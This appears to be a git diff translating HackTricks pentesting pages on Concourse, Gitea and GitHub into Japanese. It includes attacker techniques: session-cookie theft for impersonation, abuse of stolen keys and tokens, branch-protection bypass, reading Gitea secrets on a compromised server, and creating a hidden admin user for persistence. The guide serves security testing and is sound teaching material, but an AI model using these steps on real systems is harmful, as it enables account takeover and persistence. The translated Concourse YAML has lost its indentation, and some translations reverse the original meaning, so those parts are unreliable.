+いくつかの異なるタイプのステップを使用できます:
-Several different type of steps can be used:
+- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **は** [**task**](https://concourse-ci.org/tasks.html) **を実行します**
+- the [`get` step](https://concourse-ci.org/get-step.html) は [resource](https://concourse-ci.org/resources.html) を取得します
+- the [`put` step](https://concourse-ci.org/put-step.html) は [resource](https://concourse-ci.org/resources.html) を更新します
+- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) は [pipeline](https://concourse-ci.org/pipelines.html) を構成します
+- the [`load_var` step](https://concourse-ci.org/load-var-step.html) は値を [local var](https://concourse-ci.org/vars.html#local-vars) にロードします
+- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) はステップを並行して実行します
+- the [`do` step](https://concourse-ci.org/do-step.html) はステップを順番に実行します
+- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) はステップを複数回実行します;変数の値の組み合わせごとに1回実行します
+- the [`try` step](https://concourse-ci.org/try-step.html) はステップを実行しようとし、ステップが失敗しても成功します
-- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
-- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
-- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
-- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
-- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
-- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
-- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
-- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
-- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
+各[ステップ](https://concourse-ci.org/steps.html)は[ジョブプラン](https://concourse-ci.org/jobs.html#schema.job.plan)内で**独自のコンテナ**で実行されます。コンテナ内で何でも実行できます _(つまり、テストを実行する、bashスクリプトを実行する、このイメージをビルドするなど)。_ したがって、5つのステップを持つジョブがある場合、Concourseは各ステップのために5つのコンテナを作成します。
-Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
-
-Therefore, it's possible to indicate the type of container each step needs to be run in.
-
-### Simple Pipeline Example
+したがって、各ステップが実行される必要があるコンテナのタイプを指定することが可能です。
+### シンプルなパイプラインの例
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- sleep 1000
- echo "$SUPER_SECRET"
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+sleep 1000
+echo "$SUPER_SECRET"
+params:
+SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
+**127.0.0.1:8080** にアクセスして、パイプラインのフローを確認してください。
-Check **127.0.0.1:8080** to see the pipeline flow.
+### 出力/入力パイプラインを持つBashスクリプト
-### Bash script with output/input pipeline
+**1つのタスクの結果をファイルに保存**し、それを出力として示し、次のタスクの入力を前のタスクの出力として示すことが可能です。Concourseが行うことは、**前のタスクのディレクトリを新しいタスクにマウントし、前のタスクによって作成されたファイルにアクセスできるようにすることです**。
-It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
+### トリガー
-### Triggers
+ジョブを手動で毎回トリガーする必要はなく、毎回実行されるようにプログラムすることもできます:
-You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
+- しばらく時間が経過したとき: [Time resource](https://github.com/concourse/time-resource/)
+- メインブランチへの新しいコミット時: [Git resource](https://github.com/concourse/git-resource)
+- 新しいPR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
+- アプリの最新イメージを取得またはプッシュ: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
-- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
-- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-
-Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+[https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) で、マスターへの新しいコミットでトリガーされるYAMLパイプラインの例を確認してください。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index bf4f6485a..119be7b15 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -2,141 +2,129 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is Gitea
+## Giteaとは
-**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
+**Gitea**は**自己ホスト型のコミュニティ管理の軽量コードホスティング**ソリューションで、Goで書かれています。
.png>)
-### Basic Information
+### 基本情報
{{#ref}}
basic-gitea-information.md
{{#endref}}
-## Lab
-
-To run a Gitea instance locally you can just run a docker container:
+## ラボ
+Giteaインスタンスをローカルで実行するには、単にdockerコンテナを実行するだけです:
```bash
docker run -p 3000:3000 gitea/gitea
```
+ポート3000に接続してウェブページにアクセスします。
-Connect to port 3000 to access the web page.
-
-You could also run it with kubernetes:
-
+Kubernetesで実行することもできます:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
+## 認証されていない列挙
-## Unauthenticated Enumeration
+- 公開リポジトリ: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
+- 登録ユーザー: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
+- 登録組織: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
-- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
-- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
+デフォルトでは、**Giteaは新しいユーザーの登録を許可します**。これにより、新しいユーザーが他の組織やユーザーのリポジトリに対して特に興味深いアクセスを得ることはありませんが、**ログインしたユーザー**は**より多くのリポジトリや組織を視覚化できる**かもしれません。
-Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
+## 内部悪用
-## Internal Exploitation
+このシナリオでは、あなたがgithubアカウントへのアクセスを取得したと仮定します。
-For this scenario we are going to suppose that you have obtained some access to a github account.
+### ユーザー資格情報/ウェブクッキーを使用して
-### With User Credentials/Web Cookie
+もしあなたが組織内のユーザーの資格情報を何らかの方法で持っている場合(またはセッションクッキーを盗んだ場合)、**ただログイン**して、どの**リポジトリに対してどの**権限を持っているか、**どのチームにいるか、**他のユーザーを**リストし、**リポジトリがどのように保護されているかを確認できます。**
-If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
-
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+**2FAが使用される可能性がある**ため、そのチェックを**通過できる**場合にのみ、この情報にアクセスできることに注意してください。
> [!NOTE]
-> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> `i_like_gitea`クッキーを**盗むことに成功した場合**(現在SameSite: Laxで設定されています)、資格情報や2FAを必要とせずに**ユーザーを完全に偽装**できます。
-### With User SSH Key
+### ユーザーSSHキーを使用して
-Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
+Giteaは**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます(2FAは適用されません)。
+このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、gitea APIにアクセスして環境を列挙するためには使用できません。ただし、**ローカル設定を列挙**して、アクセスできるリポジトリやユーザーに関する情報を取得できます:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+ユーザーが自分のgiteaユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された**公開鍵**にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。
-If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**SSH鍵**はリポジトリに**デプロイ鍵**としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動**できるようになります。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**`~/.ssh/config`**が鍵に関連する情報を提供します。
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### GPG鍵
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md)で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。
+現在のユーザーが鍵を持っているかどうかをローカルで確認してください:
```shell
gpg --list-secret-keys --keyid-format=long
```
-
### With User Token
-For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
+[**ユーザートークンについての基本情報を確認してください**](basic-gitea-information.md#personal-access-tokens)の紹介。
-A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
+ユーザートークンは、Giteaサーバーに**対して認証するために**、**パスワードの代わりに**使用できます[**API経由で**](https://try.gitea.io/api/swagger#/)。ユーザーに対して**完全なアクセス権**を持ちます。
### With Oauth Application
-For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
+[**Gitea Oauthアプリケーションについての基本情報を確認してください**](./#with-oauth-application)の紹介。
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスするかもしれません。
-As explained in the basic information, the application will have **full access over the user account**.
+基本情報で説明されているように、アプリケーションは**ユーザーアカウントに対して完全なアクセス権**を持ちます。
### Branch Protection Bypass
-In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
+Githubには、デフォルトでリポジトリに**書き込みアクセス権を持つトークン**を取得する**github actions**があります。これを使用して**ブランチ保護を回避**できます。この場合、**存在しない**ため、回避策はより制限されます。しかし、何ができるか見てみましょう:
-- **Enable Push**: If anyone with write access can push to the branch, just push to it.
-- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
-- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
-- **Require approvals is bigger than 0**: Then... you need to compromise another user
-- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
-- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
+- **プッシュを有効にする**: 書き込みアクセス権を持つ誰かがブランチにプッシュできる場合、単にプッシュします。
+- **制限されたプッシュをホワイトリストに追加**: 同様に、このリストの一部であればブランチにプッシュします。
+- **マージホワイトリストを有効にする**: マージホワイトリストがある場合、その中にいる必要があります。
+- **承認が0より大きいことを要求**: それなら...別のユーザーを妥協させる必要があります。
+- **ホワイトリストに制限された承認**: ホワイトリストに登録されたユーザーのみが承認できる場合...そのリストにいる別のユーザーを妥協させる必要があります。
+- **古い承認を無効にする**: 新しいコミットで承認が削除されない場合、すでに承認されたPRをハイジャックしてコードを挿入し、PRをマージできます。
-Note that **if you are an org/repo admin** you can bypass the protections.
+**あなたが組織/リポジトリの管理者である場合**、保護を回避できることに注意してください。
### Enumerate Webhooks
-**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
-However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
-But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
+**Webhooks**は、**特定のgitea情報をいくつかの場所に送信することができます**。その通信を**悪用できるかもしれません**。\
+しかし、通常、**秘密**は**webhook**に設定されており、URLを知っている外部ユーザーが**そのwebhookを悪用するのを防ぎます**。\
+しかし、時には、秘密をその場所に設定する代わりに、**URLにパラメータとして設定する**人もいるため、**URLを確認することで**秘密や他の悪用できる場所を**見つけることができるかもしれません**。
-Webhooks can be set at **repo and at org level**.
+Webhooksは**リポジトリと組織レベル**で設定できます。
## Post Exploitation
### Inside the server
-If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
+もし何らかの方法でgiteaが実行されているサーバーに入ることができたら、giteaの設定ファイルを探すべきです。デフォルトでは`/data/gitea/conf/app.ini`にあります。
-In this file you can find **keys** and **passwords**.
+このファイルには**キー**や**パスワード**が含まれています。
-In the gitea path (by default: /data/gitea) you can find also interesting information like:
+giteaのパス(デフォルト:/data/gitea)には、次のような興味深い情報も見つかります:
-- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
-- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
-- The **jwt private key** inside the jwt folder
-- More **sensitive information** could be found in this folder
+- **sqlite** DB: giteaが外部DBを使用していない場合、sqlite DBを使用します。
+- **セッション**フォルダー内の**セッション**: `cat sessions/*/*/*`を実行すると、ログインしているユーザーのユーザー名を見ることができます(giteaはDB内にセッションを保存することもあります)。
+- **jwtフォルダー内のjwtプライベートキー**
+- このフォルダー内にはさらに**機密情報**が見つかる可能性があります。
-If you are inside the server you can also **use the `gitea` binary** to access/modify information:
+サーバー内にいる場合、**`gitea`バイナリを使用して情報にアクセス/変更できます**:
-- `gitea dump` will dump gitea and generate a .zip file
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
-- `gitea admin user change-password --username admin --password newpassword` Change the password
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
+- `gitea dump`はgiteaをダンプし、.zipファイルを生成します。
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`は指定されたタイプのトークンを生成します(永続性)。
+- `gitea admin user change-password --username admin --password newpassword` パスワードを変更します。
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 新しい管理ユーザーを作成し、アクセストークンを取得します。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index e6e4d9ba3..e13f375d6 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -4,104 +4,100 @@
## Basic Structure
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
+基本的なGitea環境の構造は、**組織**によってリポジトリをグループ化することです。各組織は**いくつかのリポジトリ**と**いくつかのチーム**を含むことができます。ただし、githubと同様に、ユーザーは組織の外にリポジトリを持つことができます。
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
+さらに、**ユーザー**は**異なる組織のメンバー**であることができます。組織内では、ユーザーは**各リポジトリに対して異なる権限**を持つことがあります。
-A user may also be **part of different teams** with different permissions over different repos.
+ユーザーはまた、異なるリポジトリに対して異なる権限を持つ**異なるチームの一員**であることもできます。
-And finally **repositories may have special protection mechanisms**.
+最後に、**リポジトリには特別な保護メカニズム**がある場合があります。
## Permissions
### Organizations
-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
+**組織が作成されると**、**Owners**というチームが**作成され**、ユーザーがその中に入れられます。このチームは**組織に対する管理者アクセス**を提供し、その**権限**と**チームの名前**は**変更できません**。
-**Org admins** (owners) can select the **visibility** of the organization:
+**Org admins**(オーナー)は、組織の**可視性**を選択できます:
-- Public
-- Limited (logged in users only)
-- Private (members only)
+- 公開
+- 限定(ログインユーザーのみ)
+- 非公開(メンバーのみ)
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
+**Org admins**は、**リポジトリ管理者**が**チームのアクセスを追加または削除**できるかどうかも示すことができます。また、最大リポジトリ数を示すこともできます。
-When creating a new team, several important settings are selected:
+新しいチームを作成する際には、いくつかの重要な設定が選択されます:
-- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-- It's also indicated **if members can create new repos** (creator will get admin access to it)
-- The **permissions** the **members** of the repo will **have**:
- - **Administrator** access
- - **Specific** access:
+- チームのメンバーがアクセスできる**組織のリポジトリ**が示されます:特定のリポジトリ(チームが追加されたリポジトリ)またはすべて。
+- **メンバーが新しいリポジトリを作成できるかどうか**も示されます(作成者はそのリポジトリに管理者アクセスを得ます)。
+- リポジトリの**メンバーが持つ**権限:
+- **管理者**アクセス
+- **特定の**アクセス:
.png>)
### Teams & Users
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
+リポジトリ内で、**org admin**と**リポジトリ管理者**(組織によって許可されている場合)は、コラボレーター(他のユーザー)やチームに与えられた役割を**管理**できます。可能な**役割**は**3**つです:
-- Administrator
-- Write
-- Read
+- 管理者
+- 書き込み
+- 読み取り
## Gitea Authentication
### Web Access
-Using **username + password** and potentially (and recommended) a 2FA.
+**ユーザー名 + パスワード**を使用し、可能であれば(推奨)2FAを使用します。
### **SSH Keys**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+アカウントを1つまたは複数の公開鍵で構成でき、関連する**秘密鍵があなたの代わりにアクションを実行できるようにします。** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
+これらの鍵でユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。
### **Personal Access Tokens**
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+アプリケーションにあなたのアカウントへの**アクセスを与えるための個人アクセストークンを生成できます**。個人アクセストークンはあなたのアカウントに対する完全なアクセスを提供します:[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
+個人アクセストークンと同様に、**Oauthアプリケーション**はあなたのアカウントとあなたのアカウントがアクセスできる場所に対して**完全なアクセス**を持ちます。なぜなら、[docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)に示されているように、スコープはまだサポートされていないからです:
.png>)
### Deploy keys
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
+デプロイキーはリポジトリに対して読み取り専用または書き込みアクセスを持つことができるため、特定のリポジトリを侵害するのに興味深いかもしれません。
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**いくつかの保護方法を設けて、特定のブランチにコードを書くことができるようにすること**です。
-The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_
+**リポジトリのブランチ保護**は、_https://localhost:3000/\/\/settings/branches_で見つけることができます。
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> 組織レベルでブランチ保護を設定することは**できません**。したがって、すべての保護は各リポジトリで宣言する必要があります。
-Different protections can be applied to a branch (like to master):
+ブランチに適用できるさまざまな保護(マスターに適用する場合など):
-- **Disable Push**: No-one can push to this branch
-- **Enable Push**: Anyone with access can push, but not force push.
-- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-- **Enable Status checks:** Require status checks to pass before merging.
-- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-- **Block merge on official review requests**: If there official review requests it cannot be merged
-- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-- **Require Signed Commits**: Commits must be signed.
-- **Block merge if pull request is outdated**
-- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
+- **プッシュを無効にする**:誰もこのブランチにプッシュできません
+- **プッシュを有効にする**:アクセス権のある誰でもプッシュできますが、強制プッシュはできません。
+- **ホワイトリスト制限プッシュを有効にする**:選択されたユーザー/チームのみがこのブランチにプッシュできます(ただし、強制プッシュはできません)
+- **マージホワイトリストを有効にする**:ホワイトリストに登録されたユーザー/チームのみがPRをマージできます。
+- **ステータスチェックを有効にする**:マージする前にステータスチェックが通過することを要求します。
+- **承認を要求する**:PRをマージする前に必要な承認の数を示します。
+- **ホワイトリストに制限された承認**:PRを承認できるユーザー/チームを示します。
+- **拒否されたレビューでのマージをブロックする**:変更が要求された場合、マージできません(他のチェックが通過しても)。
+- **公式レビューリクエストでのマージをブロックする**:公式レビューリクエストがある場合、マージできません。
+- **古い承認を無効にする**:新しいコミットがあると、古い承認は無効になります。
+- **署名されたコミットを要求する**:コミットは署名されなければなりません。
+- **プルリクエストが古くなった場合はマージをブロックする**
+- **保護された/保護されていないファイルパターン**:変更から保護/保護解除するファイルのパターンを示します。
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> ご覧のとおり、ユーザーの資格情報を取得できた場合でも、**リポジトリが保護されているため、マスターにコードをプッシュすることを避けることができます**。たとえば、CI/CDパイプラインを侵害するために。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index cdad12b57..a7a3d96a1 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -4,7 +4,7 @@
## What is Github
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
+(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 高いレベルで、**GitHubは開発者がコードを保存・管理し、コードの変更を追跡・制御するのを助けるウェブサイトおよびクラウドベースのサービスです**。
### Basic Information
@@ -14,19 +14,19 @@ basic-github-information.md
## External Recon
-Github repositories can be configured as public, private and internal.
+Githubリポジトリは、公開、非公開、内部として設定できます。
-- **Private** means that **only** people of the **organisation** will be able to access them
-- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
-- **Public** means that **all internet** is going to be able to access it.
+- **非公開**は、**組織**の人々だけがアクセスできることを意味します。
+- **内部**は、**エンタープライズ**の人々(エンタープライズは複数の組織を持つことがあります)だけがアクセスできることを意味します。
+- **公開**は、**全インターネット**がアクセスできることを意味します。
-In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
+**ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合**、**github dorks**を使用して、機密情報を見つけたり、**各リポジトリでの機密情報の漏洩**を検索できます。
### Github Dorks
-Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
+Githubは、**ユーザー、リポジトリ、または組織をスコープとして指定して何かを検索することを許可します**。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の**潜在的な機密情報を簡単に検索できます**。
-Tools (each tool contains its list of dorks):
+ツール(各ツールにはそのdorkのリストが含まれています):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
@@ -34,9 +34,9 @@ Tools (each tool contains its list of dorks):
### Github Leaks
-Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
+github dorksは、githubの検索オプションを使用して漏洩を検索するためにも使用されることに注意してください。このセクションは、**各リポジトリをダウンロードし、その中で機密情報を検索する**ツールに専念しています(特定のコミットの深さをチェックすることも含まれます)。
-Tools (each tool contains its list of regexes):
+ツール(各ツールにはその正規表現のリストが含まれています):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,15 +47,15 @@ Tools (each tool contains its list of regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
+> リポジトリで漏洩を探すときに`git log -p`のようなコマンドを実行する際、**秘密を含む他のコミットがある他のブランチ**が存在する可能性があることを忘れないでください!
### External Forks
-It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
+**プルリクエストを悪用してリポジトリを妥協する**ことが可能です。リポジトリが脆弱かどうかを知るには、主にGithub Actionsのyaml設定を読む必要があります。[**この下に詳細があります**](./#execution-from-a-external-fork)。
### Github Leaks in deleted/internal forks
-Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
+削除されたり内部のものであっても、githubリポジトリのフォークから機密データを取得することが可能な場合があります。ここで確認してください:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -65,184 +65,172 @@ accessible-deleted-data-in-github.md
### Member Privileges
-There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
+組織の**メンバー**に割り当てることができる**デフォルトの権限**があります。これらは、ページ`https://github.com/organizations//settings/member_privileges`または[**Organizations API**](https://docs.github.com/en/rest/orgs/orgs)から制御できます。
-- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
-- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
-- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
-- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- - _I couldn't find this info in the APIs response, share if you do_
-- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- - _I couldn't find this info in the APIs response, share if you do_
-- **More things can be configured** in this page but the previous are the ones more security related.
+- **基本的な権限**: メンバーは、組織のリポジトリに対してNone/Read/write/Adminの権限を持ちます。推奨は**None**または**Read**です。
+- **リポジトリのフォーク**: 必要でない場合、メンバーが組織のリポジトリをフォークすることを**許可しない方が良い**です。
+- **ページの作成**: 必要でない場合、メンバーが組織のリポジトリからページを公開することを**許可しない方が良い**です。必要な場合は、公開または非公開のページを作成することを許可できます。
